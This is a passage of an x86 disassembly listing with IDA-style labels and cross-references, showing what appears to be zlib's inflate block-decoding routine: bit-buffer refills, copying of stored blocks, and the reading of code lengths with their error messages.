sub_40AF6D+533j mov edx, [ebp+var_64] mov [ebp+var_18], edx loc_40B4B4: ; CODE XREF: sub_40AF6D+500j ; sub_40AF6D+50Ej cmp [ebp+var_18], 0 jnz loc_40B5C6 mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_40B503 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_40B50F ; --------------------------------------------------------------------------- loc_40B503: ; CODE XREF: sub_40AF6D+583j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_68], eax loc_40B50F: ; CODE XREF: sub_40AF6D+594j mov ecx, [ebp+var_68] mov [ebp+var_18], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+2Ch] jnz short loc_40B565 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+30h] cmp eax, [edx+28h] jz short loc_40B565 mov ecx, [ebp+arg_0] mov edx, [ecx+28h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_40B553 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_40B55F ; --------------------------------------------------------------------------- loc_40B553: ; CODE XREF: sub_40AF6D+5D3j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_6C], edx loc_40B55F: ; CODE XREF: sub_40AF6D+5E4j mov eax, [ebp+var_6C] mov [ebp+var_18], eax loc_40B565: ; CODE XREF: sub_40AF6D+5B1j ; sub_40AF6D+5BFj cmp [ebp+var_18], 0 jnz short loc_40B5C6 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B5C6: ; CODE XREF: sub_40AF6D+4F1j ; sub_40AF6D+54Bj ... mov [ebp+arg_8], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, [ebp+var_1C] jbe short loc_40B5E4 mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx loc_40B5E4: ; CODE XREF: sub_40AF6D+66Fj mov edx, [ebp+var_10] cmp edx, [ebp+var_18] jbe short loc_40B5F2 mov eax, [ebp+var_18] mov [ebp+var_10], eax loc_40B5F2: ; CODE XREF: sub_40AF6D+67Dj mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_8] push eax call sub_411634 ; memcpy add esp, 0Ch mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx mov eax, [ebp+var_8] add eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_18] sub ecx, [ebp+var_10] mov [ebp+var_18], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jz short loc_40B647 jmp loc_40C294 ; --------------------------------------------------------------------------- loc_40B647: ; CODE XREF: sub_40AF6D+6D3j mov eax, [ebp+arg_0] mov ecx, [eax+18h] neg ecx sbb ecx, ecx and ecx, 7 mov edx, [ebp+arg_0] mov [edx], ecx jmp loc_40C294 ; --------------------------------------------------------------------------- loc_40B65E: ; CODE XREF: sub_40AF6D+75j ; sub_40AF6D+794j ; DATA XREF: ... cmp [ebp+var_14], 0Eh jnb loc_40B706 cmp [ebp+var_1C], 0 jz short loc_40B677 mov [ebp+arg_8], 0 jmp short loc_40B6D2 ; --------------------------------------------------------------------------- loc_40B677: ; CODE XREF: sub_40AF6D+6FFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B6D2: ; CODE XREF: sub_40AF6D+708j mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_40B65E ; --------------------------------------------------------------------------- loc_40B706: ; CODE XREF: sub_40AF6D+6F5j mov eax, [ebp+var_C] and eax, 3FFFh mov [ebp+var_10], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] and eax, 1Fh cmp eax, 1Dh ja short loc_40B733 mov ecx, [ebp+var_10] shr ecx, 5 and ecx, 1Fh cmp ecx, 1Dh jbe short loc_40B7A8 loc_40B733: ; CODE XREF: sub_40AF6D+7B6j mov edx, [ebp+arg_0] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B7A8: ; CODE XREF: sub_40AF6D+7C4j mov ecx, [ebp+var_10] and ecx, 1Fh mov edx, [ebp+var_10] shr edx, 5 and edx, 1Fh lea eax, [ecx+edx+102h] mov [ebp+var_10], eax push 4 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_4] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_4] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+arg_0] mov [edx+0Ch], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], 0 jnz short loc_40B848 mov [ebp+arg_8], 0FFFFFFFCh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B848: ; CODE XREF: sub_40AF6D+877j mov ecx, [ebp+var_C] shr ecx, 0Eh mov [ebp+var_C], ecx mov edx, [ebp+var_14] sub edx, 0Eh mov [ebp+var_14], edx mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 4 loc_40B86D: ; CODE XREF: sub_40AF6D+75j ; sub_40AF6D+9FFj ; DATA XREF: ... mov edx, [ebp+arg_0] mov eax, [edx+4] shr eax, 0Ah add eax, 4 mov ecx, [ebp+arg_0] cmp [ecx+8], eax jnb loc_40B971 loc_40B885: ; CODE XREF: sub_40AF6D+9BDj cmp [ebp+var_14], 3 jnb loc_40B92F cmp [ebp+var_1C], 0 jz short loc_40B89E mov [ebp+arg_8], 0 jmp short loc_40B8F9 ; --------------------------------------------------------------------------- loc_40B89E: ; CODE XREF: sub_40AF6D+926j mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40B8F9: ; CODE XREF: sub_40AF6D+92Fj mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_40B885 ; --------------------------------------------------------------------------- loc_40B92F: ; CODE XREF: sub_40AF6D+91Cj mov eax, [ebp+var_C] and eax, 7 mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov ecx, dword_414440[edx*4] mov edx, [ebp+arg_0] mov edx, [edx+0Ch] mov [edx+ecx*4], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx jmp loc_40B86D ; --------------------------------------------------------------------------- loc_40B971: ; CODE XREF: sub_40AF6D+912j ; sub_40AF6D+A36j mov edx, [ebp+arg_0] cmp dword ptr [edx+8], 13h jnb short loc_40B9A5 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov edx, dword_414440[ecx*4] mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov dword ptr [ecx+edx*4], 0 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax jmp short loc_40B971 ; --------------------------------------------------------------------------- loc_40B9A5: ; CODE XREF: sub_40AF6D+A0Bj mov edx, [ebp+arg_0] mov dword ptr [edx+10h], 7 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_0] add eax, 14h push eax mov ecx, [ebp+arg_0] add ecx, 10h push ecx mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax call sub_40CBFE add esp, 14h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40BA6B mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+var_10] mov [ebp+arg_8], eax cmp [ebp+arg_8], 0FFFFFFFDh jnz short loc_40BA10 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 9 loc_40BA10: ; CODE XREF: sub_40AF6D+A98j mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40BA6B: ; CODE XREF: sub_40AF6D+A71j mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 5 loc_40BA7E: ; CODE XREF: sub_40AF6D+75j ; sub_40AF6D:loc_40BE0Cj ; DATA XREF: ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+var_10], edx mov eax, [ebp+var_10] and eax, 1Fh mov ecx, [ebp+var_10] shr ecx, 5 and ecx, 1Fh lea edx, [eax+ecx+102h] mov eax, [ebp+arg_0] cmp [eax+8], edx jnb loc_40BE11 mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_10], edx loc_40BAB2: ; CODE XREF: sub_40AF6D+BEAj mov eax, [ebp+var_14] cmp eax, [ebp+var_10] jnb loc_40BB5C cmp [ebp+var_1C], 0 jz short loc_40BACD mov [ebp+arg_8], 0 jmp short loc_40BB28 ; --------------------------------------------------------------------------- loc_40BACD: ; CODE XREF: sub_40AF6D+B55j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40BB28: ; CODE XREF: sub_40AF6D+B5Ej mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_14] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_14] add eax, 8 mov [ebp+var_14], eax jmp loc_40BAB2 ; --------------------------------------------------------------------------- loc_40BB5C: ; CODE XREF: sub_40AF6D+B4Bj mov ecx, [ebp+var_10] mov edx, [ebp+var_C] and edx, dword_4132F8[ecx*4] mov eax, [ebp+arg_0] mov ecx, [eax+14h] lea edx, [ecx+edx*8] mov [ebp+var_34], edx mov eax, [ebp+var_34] xor ecx, ecx mov cl, [eax+1] mov [ebp+var_10], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov [ebp+var_30], eax cmp [ebp+var_30], 10h jnb short loc_40BBC9 mov edx, [ebp+var_C] mov ecx, [ebp+var_10] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+var_10] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov eax, [ebp+var_30] mov [ecx+edx*4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx jmp loc_40BE0C ; --------------------------------------------------------------------------- loc_40BBC9: ; CODE XREF: sub_40AF6D+C20j cmp [ebp+var_30], 12h jnz short loc_40BBD8 mov [ebp+var_70], 7 jmp short loc_40BBE1 ; --------------------------------------------------------------------------- loc_40BBD8: ; CODE XREF: sub_40AF6D+C60j mov ecx, [ebp+var_30] sub ecx, 0Eh mov [ebp+var_70], ecx loc_40BBE1: ; CODE XREF: sub_40AF6D+C69j mov edx, [ebp+var_70] mov [ebp+var_38], edx mov eax, [ebp+var_30] sub eax, 12h neg eax sbb eax, eax and al, 0F8h add eax, 0Bh mov [ebp+var_3C], eax loc_40BBF9: ; CODE XREF: sub_40AF6D+D36j mov ecx, [ebp+var_10] add ecx, [ebp+var_38] cmp [ebp+var_14], ecx jnb loc_40BCA8 cmp [ebp+var_1C], 0 jz short loc_40BC17 mov [ebp+arg_8], 0 jmp short loc_40BC72 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40AF6D+C9Fj mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40BC72: ; CODE XREF: sub_40AF6D+CA8j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_40BBF9 ; --------------------------------------------------------------------------- loc_40BCA8: ; CODE XREF: sub_40AF6D+C95j mov eax, [ebp+var_C] mov ecx, [ebp+var_10] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, [ebp+var_10] mov [ebp+var_14], ecx mov edx, [ebp+var_38] mov eax, [ebp+var_C] and eax, dword_4132F8[edx*4] mov ecx, [ebp+var_3C] add ecx, eax mov [ebp+var_3C], ecx mov edx, [ebp+var_C] mov ecx, [ebp+var_38] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+var_38] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov [ebp+var_38], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_10], ecx mov edx, [ebp+var_38] add edx, [ebp+var_3C] mov eax, [ebp+var_10] and eax, 1Fh mov ecx, [ebp+var_10] shr ecx, 5 and ecx, 1Fh lea eax, [eax+ecx+102h] cmp edx, eax ja short loc_40BD2B cmp [ebp+var_30], 10h jnz loc_40BDB7 cmp [ebp+var_38], 1 jnb loc_40BDB7 loc_40BD2B: ; CODE XREF: sub_40AF6D+DA8j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov [ebp+arg_8], 0FFFFFFFDh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40BDB7: ; CODE XREF: sub_40AF6D+DAEj ; sub_40AF6D+DB8j cmp [ebp+var_30], 10h jnz short loc_40BDCF mov edx, [ebp+arg_0] mov eax, [edx+0Ch] mov ecx, [ebp+var_38] mov edx, [eax+ecx*4-4] mov [ebp+var_74], edx jmp short loc_40BDD6 ; --------------------------------------------------------------------------- loc_40BDCF: ; CODE XREF: sub_40AF6D+E4Ej mov [ebp+var_74], 0 loc_40BDD6: ; CODE XREF: sub_40AF6D+E60j mov eax, [ebp+var_74] mov [ebp+var_30], eax loc_40BDDC: ; CODE XREF: sub_40AF6D+E94j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] mov eax, [ebp+var_38] mov ecx, [ebp+var_30] mov [edx+eax*4], ecx mov edx, [ebp+var_38] add edx, 1 mov [ebp+var_38], edx mov eax, [ebp+var_3C] sub eax, 1 mov [ebp+var_3C], eax cmp [ebp+var_3C], 0 jnz short loc_40BDDC mov ecx, [ebp+arg_0] mov edx, [ebp+var_38] mov [ecx+8], edx loc_40BE0C: ; CODE XREF: sub_40AF6D+C57j jmp loc_40BA7E ; --------------------------------------------------------------------------- loc_40BE11: ; CODE XREF: sub_40AF6D+B36j mov eax, [ebp+arg_0] mov dword ptr [eax+14h], 0 mov [ebp+var_4C], 9 mov [ebp+var_40], 6 mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+var_10], edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx lea eax, [ebp+var_50] push eax lea ecx, [ebp+var_48] push ecx lea edx, [ebp+var_40] push edx lea eax, [ebp+var_4C] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_10] shr eax, 5 and eax, 1Fh add eax, 1 push eax mov ecx, [ebp+var_10] and ecx, 1Fh add ecx, 101h push ecx call sub_40CCA6 add esp, 24h mov [ebp+var_10], eax mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 cmp [ebp+var_10], 0 jz short loc_40BF06 cmp [ebp+var_10], 0FFFFFFFDh jnz short loc_40BEA5 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 9 loc_40BEA5: ; CODE XREF: sub_40AF6D+F2Dj mov edx, [ebp+var_10] mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40BF06: ; CODE XREF: sub_40AF6D+F27j mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_50] push ecx mov edx, [ebp+var_48] push edx mov eax, [ebp+var_40] push eax mov ecx, [ebp+var_4C] push ecx call sub_409FF9 add esp, 14h mov [ebp+var_44], eax cmp [ebp+var_44], 0 jnz short loc_40BF8D mov [ebp+arg_8], 0FFFFFFFCh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40BF8D: ; CODE XREF: sub_40AF6D+FBCj mov edx, [ebp+arg_0] mov eax, [ebp+var_44] mov [edx+4], eax mov ecx, [ebp+arg_0] mov dword ptr [ecx], 6 loc_40BF9F: ; CODE XREF: sub_40AF6D+75j ; DATA XREF: HSho:0040C2B5o mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_40A04E add esp, 0Ch mov [ebp+arg_8], eax cmp [ebp+arg_8], 1 jz short loc_40C017 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40C017: ; CODE XREF: sub_40AF6D+108Fj mov [ebp+arg_8], 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_40ADA5 add esp, 8 mov edx, [ebp+arg_4] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+4] mov [ebp+var_1C], edx mov eax, [ebp+arg_0] mov ecx, [eax+20h] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_40C079 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_78], eax jmp short loc_40C085 ; --------------------------------------------------------------------------- loc_40C079: ; CODE XREF: sub_40AF6D+10F9j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_78], edx loc_40C085: ; CODE XREF: sub_40AF6D+110Aj mov eax, [ebp+var_78] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] cmp dword ptr [ecx+18h], 0 jnz short loc_40C0A2 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_40C294 ; --------------------------------------------------------------------------- loc_40C0A2: ; CODE XREF: sub_40AF6D+1125j mov eax, [ebp+arg_0] mov dword ptr [eax], 7 loc_40C0AB: ; CODE XREF: sub_40AF6D+75j ; DATA XREF: HSho:0040C2B9o mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call 